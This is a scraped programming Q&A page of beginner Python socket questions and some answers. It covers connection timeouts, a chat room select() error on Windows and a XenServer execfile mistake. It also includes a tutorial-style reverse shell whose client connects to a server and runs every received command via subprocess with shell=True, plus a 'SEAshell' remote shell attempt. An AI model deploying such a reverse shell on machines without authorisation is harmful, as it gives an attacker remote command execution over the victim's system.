I am trying to make a remote shell thing with python. But when i connect the client (running on replit.com) to the target machine (my local machine), This error shows up:
~/SEAshell$ python3 client.py
Enter hostname: 192.168.10.16
[*] Set target to 192.168.10.16 ...
[*] Connecting to server...
Traceback (most recent call last):
File "client.py", line 14, in <module>
server.connect(ADDR)
TimeoutError: [Errno 110] Connection timed out
It takes a lot of time after [*] Connecting to server... and shows the traceback.
Please note the code is incomplete as the command is not sent due to the mentioned error...
Heres the client code (from where the command is sent):
from socket import *
from threading import Thread
from os import system
HOST = input('Enter hostname: ')
print('[*] Set target to ' + HOST + " ...")
PORT = 623
ADDR = (HOST, PORT)
BUFF = 1024 * 128
SEP = "<sep>"
server = socket(AF_INET, SOCK_STREAM)
print('[*] Connecting to server...')
server.connect(ADDR)
print('[*] Server connected successfully!')
def remote():
print('[>] Activation shell for ' + str(addr))
print('[>] Receiving path information...')
info = server.recv(BUFF).decode()
info = info.split(SEP)
while True:
command = input(info[2] + "#" + info[1] + ":" + info[0] + "$ ")
print('Test: ' + command)
remote()
and heres the server code (where the command will be executed):
from socket import *
from threading import Thread
import os
HOST = gethostbyname(gethostname())
PORT = 623
ADDR = (HOST, PORT)
BUFF = 1024 * 128
SEP = "<sep>"
print('[*] Starting server at ' + str(ADDR))
server = socket(AF_INET, SOCK_STREAM)
print('[*] Binding server...')
try:
server.bind(ADDR)
except:
ADDR = (HOST, 624)
server.bind(ADDR)
print('[*] Binded server at ' + str(ADDR))
print('[*] Server binded successfully!')
print('[*] Listening for incoming connections')
server.listen(5)
def remote(conn, addr):
cdir = os.getcwd()
login = os.getlogin()
hostname = gethostname()
firstsend = send()
while True:
print('[*] Queued...')
conn, addr = server.accept()
print('[*] Connection received from ' + str(addr))
t = Thread(target=remote, args=(conn, addr))
t.start()
print('[*] Listening for new connections...')
so please try to help me figure it out and maybe check out the repl: https://replit.com/#dragsdagod/SEAshell
thanks in advance!
Related
I'm struggling with getting reply back to client when pinging through socket server.
Trying to create something simple, where I can ping servers from client through socket server.
Client checks that socket server is online, socket server in "server" will respond status. Client sends the ping command to socket server, socket server initiate the ping to where ever. Raw printout will be sent to client.
What's the best way to do it?
First time working with sockets.
Server
#!/usr/bin/python3
import socket
import sys
HOST = '127.0.0.1'
PORT = 8085
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print('Socket created')
# Bind socket
try:
s.bind((HOST, PORT))
except socket.error as msg:
print('Bind failed. Error Code : ' + str(msg[0]) + ' Message ' + msg[1])
sys.exit()
print('Socket bind complete')
#Start listening on socket
s.listen(10)
print('Socket now listening')
# Talk with client
while 1:
#wait to accept a connection - blocking call
conn, addr = s.accept()
print('Connected')
while True:
dataFromClient = conn.recv(1024)
print(dataFromClient.decode('utf-8'))
if not dataFromClient:
print("[Client] Disconnected")
break
conn.sendall(dataFromClient)
s.close()
Client
#!/usr/bin/python3
import socket
import subprocess
import os
SERVER = "127.0.0.1"
clientSocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
clientSocket.connect((SERVER,8085))
os.system("clear")
os.system("cls")
while True:
data = input("Input: ")
clientSocket.send(data.encode())
# dataFromServer = clientSocket.recv(1024)
# print(dataFromServer.decode())
if data == "ping":
input1 = str(input("Enter command: "))
with subprocess.Popen(input1,shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) as proc:
for line in proc.stdout:
clientSocket.send(line)
print(proc.communicate())
elif data == "help":
print("Command: pingdl,destip=<isp>,repeat=<amount>")
clientSocket.close()
I created a server/client code to create a chat room using socket programming and multi-threading.I encountered an error that i dont seem to understand The server code is working, but i am facing issues with the client code and idk why it is saying its not a socket. i would appreciate any help on this.
Server code
import socket
import sys
from _thread import *
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
# checks whether sufficient arguments have been provided
# if len(sys.argv) != 3:
# print ("missing arguments enter: <IP address> <port number>")
# exit()
# first argument from command prompt is IP address
IP_address = '127.0.0.1'
# second argument from command prompt is port number
Port = 12000
# binds the server to an entered IP address and specified port number.
server.bind((IP_address, Port))
# listens for 10 active connections
server.listen(10)
list_of_clients = []
def clientthread(conn, addr):
# sends a message to the client whose user object is conn
conn.send("Welcome to Network Programming chatroom!")
# broadcast to other that a new client has joined
message_to_send = "<" + addr[0] +", " + str(addr[1]) + "> joined"
broadcast(message_to_send, conn)
while True:
try:
message = conn.recv(4096)
if message:
# prints the message and address of the user who just sent the message
print ("<" + addr[0] + ", " + str(addr[1]) + ">: " + message)
# call broadcast function to send message to all other clients
message_to_send = "<" + addr[0] +", " + str(addr[1]) + ">: " + message
broadcast(message_to_send, conn)
else:
''' message have no content if the connection is broken, then
send message to others and remove the connection'''
print("connection : <" + addr[0] + ", " + str(addr[1]) + "> disconnected")
message_to_send = "<" + addr[0] +", " + str(addr[1]) + "> left"
broadcast(message_to_send, conn)
remove(conn)
break
except:
print("error occurred and ignored with: <" + addr[0] +", " + str(addr[1]) + "> connection")
continue
""" broadcast function is used to broadcast a message to all
clients (but not the sender) """
def broadcast(message, connection):
for client in list_of_clients:
if client != connection:
try:
client.send(message)
except:
client.close()
# if the link is broken, remove the client
remove(client)
''' remove function to remove the object from the list of clients '''
def remove(connection):
if connection in list_of_clients:
list_of_clients.remove(connection)
print("Welcome to Network Programming chatroom!\nServer is waiting for clients...")
while True:
""" accepts a connection request and stores two parameters:
conn socket object and addr of the connected client"""
conn, addr = server.accept()
""" maintains a list to keep track of all available clients in the chatroom"""
list_of_clients.append(conn)
# prints the address of the user that just connected
print (addr[0], addr[1], " joined")
# creates an individual thread for every client
start_new_thread(clientthread,(conn,addr))
conn.close()
server.close()
Client code
import socket
import select
import sys
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# if len(sys.argv) != 3:
# print ("missing arguments enter: <IP address> <port number>")
# exit()
IP_address = '127.0.0.1'
Port = 12000
server.connect((IP_address, Port))
while True:
# create a list to maintain possible input streams
sockets_list = [sys.stdin, server]
""" Two possible inputs scenarios. Either the
user enters text to send to other clients, or the
server is sending a message to the client. """
""" select system call returns from sockets_list, the stream
that is reader for input. So for example, if the server sent a message, then the if condition will hold true below.
If the user wants to send a message, the else
condition will evaluate as true"""
print("wait on select call...")
read_sockets, write_sockets, error_sockets = select.select(sockets_list,[],[])
print("select call returned")
print("read_sockets: ", read_sockets)
#print("write_sockets: ", write_sockets)
#print("error_sockets: ", error_sockets)
for socks in read_sockets:
if socks == server:
message = socks.recv(4096)
if(len(message) != 0):
print(message)
# server sent empty message, print error and leave
else:
print("Server is down, join later once it is up!")
exit()
else:
message = sys.stdin.readline()
server.send(message)
sys.stdout.write("<You>")
sys.stdout.write(message)
sys.stdout.flush()
server.close()
Output on client
Traceback (most recent call last):
File "C:/Users/a/Desktop/Network Programming 2/chat-client.py", line 23, in <module>
read_sockets, write_sockets, error_sockets = select.select(sockets_list,[],[])
OSError: [WinError 10038] An operation was attempted on something that is not a socket
wait on select call...
You put sys.stdin on your sockets_list. It is, as the error says, not a socket. On Unix that would be okay, but on Windows you can't do it.
I am new in working with python and working on API of XenServer
I am trying to start a script which uses the XenServer API to start a virtual machine upon receiving the data from the client. The code is below
import socket
import json
import startvm
ip = socket.gethostbyname(socket.gethostname())
print("ip of server machiene = " + ip )
# create a socket object
serversocket = socket.socket(
socket.AF_INET, socket.SOCK_STREAM)
host = "127.0.0.1"
port = 9999
# bind to the port
serversocket.bind((host, port))
print ("server is waiting for data")
# queue up to 5 requests
serversocket.listen(5)
running = True
while True:
# establish a connection
clientsocket, addr = serversocket.accept()
print("Got a connection from %s" % str(addr))
while running:
receivedData = clientsocket.recv(1024)
#json = receivedData
if receivedData:
print (receivedData)
execfile(startvm.py)
else:
print (" -- data end --" )
running = False
serversocket.close()
I am using execute(script name). and it gives me the following error
on the server side script
ip of server machine = 192.168.0.11
server is waiting for data
Traceback (most recent call last):
Got a connection from ('127.0.0.1', 50128)
File "/Users/jasmeet/IdeaProjects/vKey-cloud/server.py", line 45, in
<module>
0
execfile(startvm.py)
AttributeError: 'module' object has no attribute 'py'
and this on client script
connecting to server at 127.0.0.1 on port 9999
Traceback (most recent call last):
File "/Users/jasmeet/IdeaProjects/vKey-cloud/client.py", line 27, in
<module>
clientSocket.send(str(x))
socket.error: [Errno 32] Broken pipe
can anybody explain me how to do it exactly thank you in advance
you could import the file at the beginning like:
from startvm.py import A_FUNCTION_FROM_THAT_FILE
so that it's optimized
and replace
execfile(startvm.py)
with
A_FUNCTION_FROM_THAT_FILE(*args)
ex:
# script A.py
from B.py import customfunc
customfunc(2, 4)
# script B.py
def customfunc(x, y):
return x*y
writing the following code for server.py solved my problem
# server.py
import socket
import json
import startvm
ip = socket.gethostbyname(socket.gethostname())
print("ip of server machiene = " + ip )
# create a socket object
serversocket = socket.socket(
socket.AF_INET, socket.SOCK_STREAM)
# get local machine name
#host = socket.gethostname()
#port = 9999 # port 80
host = "127.0.0.1"
port = 9999
# bind to the port
serversocket.bind((host, port))
print ("server is waiting for data")
# queue up to 5 requests
serversocket.listen(5)
while True:
running = True
# establish a connection
clientsocket, addr = serversocket.accept()
print("Got a connection from %s" % str(addr))
while running:
receivedData = clientsocket.recv(1024)
#json = receivedData
if receivedData:
print (receivedData)
#execfile('startvm.py')
else:
print (" -- data end --" )
running = False
I am following Bucky Robert's (Thenewboston) tutorial on python reverse shell, I have created 2 programs, server.py and client.py, it seems like this:
server.py:
import socket
import sys
# Create socket (allows two computers to connect)
def socket_create():
try:
global host
global port
global s
host = '' # the server doesn't need to know the ip, only the client
port = 9999
s = socket.socket()
except socket.error as msg:
print('Socket creation error', str(msg))
# Bind socket to port and wait for connection from client
def socket_bind():
try:
global host
global port
global s
print('Binding socket to port: ' + str(port))
s.bind((host, port))
s.listen(5)
except socket.error as msg:
print('Socket binding error', str(msg) + '\n' + 'Retrying...')
socket_bind()
# Establish a connection with client (socket must be listening for them)
def socket_accept():
conn, address = s.accept()
print('Connection has been established | ' + 'IP ' + address[0] + ' | Port ' + str(address[1]))
send_commands(conn)
conn.close()
# Send commands
def send_commands(conn):
while True:
cmd = input('')
if cmd == 'quit':
conn.close()
s.close()
sys.exit()
if len(str.encode(cmd)) > 0: # system commands are bytes and not strings
conn.send(str.encode(cmd))
client_response = str(conn.recv(1024), 'utf-8')
print(client_response, end='')
def main():
socket_create()
socket_bind()
socket_accept()
main()
client.py:
import os
import socket
import subprocess
s = socket.socket()
host = 'pc_ip'
port = 9999
s.connect((host, port))
while True:
data = s.recv(1024)
if data[:2].decode('utf-8') == 'cd':
os.chdir(data[3:].decode('utf-8'))
if len(data) > 0:
cmd = subprocess.Popen(data[:].decode('utf-8'), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) # run command in terminal
output_bytes = cmd.stdout.read() + cmd.stderr.read()
output_str = str(output_bytes, 'utf-8')
s.send(str.encode(output_str + str(os.getcwd()) + '> '))
print(output_str)
# close connection
s.close()
Now, by the tutorial, I am supposed to run the server file and then the client file locally and a connection will be established between them, however, I can't successfully do this because as I run the server file I get this output:
C:\Users\dodob\AppData\Local\Programs\Python\Python35-32\python.exe C:/Users/dodob/PycharmProjects/ReverseShell/server.py
Binding socket to port: 9999
Connection has been established | IP 127.0.0.1 | Port 2565
Even though I haven't ran the client yet. What can I do to fix that and continue the tutorial?
I have a very simple Socket Server code running on port 9999. When I fire up my server and client, with netstat I can see that the server is running and the client is on the ephemeral port of 7180.
TCP 192.168.1.117:9999 0.0.0.0:0 LISTENING 7180
However, the output of client shows this error:
Traceback (most recent call last):
File "client.py", line 6, in <module>
clisock.connect((host, 9999))
File "C:\Python27\lib\socket.py", line 222, in meth
return getattr(self._sock,name)(*args)
socket.error: [Errno 10060] A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond
My server code:
import socket
import sys
import time
srvsock = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
print 'Server Socket is Created'
host = socket.gethostname()
try:
srvsock.bind( (host, 9999) )
except socket.error , msg:
print 'Bind failed. Error Code : ' + str(msg[0]) + ' Message ' + msg[1]
sys.exit()
srvsock.listen(5)
print 'Socket is now listening'
while True:
clisock, (remhost, remport) = srvsock.accept()
print 'Connected with ' + remhost + ':' + str(remport)
currentTime = time.ctime(time.time()) + "\r\n"
print currentTime
clisock.send(currentTime)
clisock.close()
srvsock.close()
And my Socket client program is as follow:
import socket
clisock = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
host = socket.gethostname()
print host
clisock.connect((host, 9999))
tm = clisock.recv(1024)
clisock.close()
print tm
What is the issue? Could it be a Firewall or something which cause the connection to drop?
There is no guarantee that socket.gethostname() will return a FQDN. Try to bind the server to '' (empty string is a symbolic name meaning all available interfaces), then connect your client to localhost or 127.0.0.1.
Python documentation includes a very useful example for creating a simple TCP server-client application using low-level socket API [1].
[1] https://docs.python.org/2/library/socket.html#example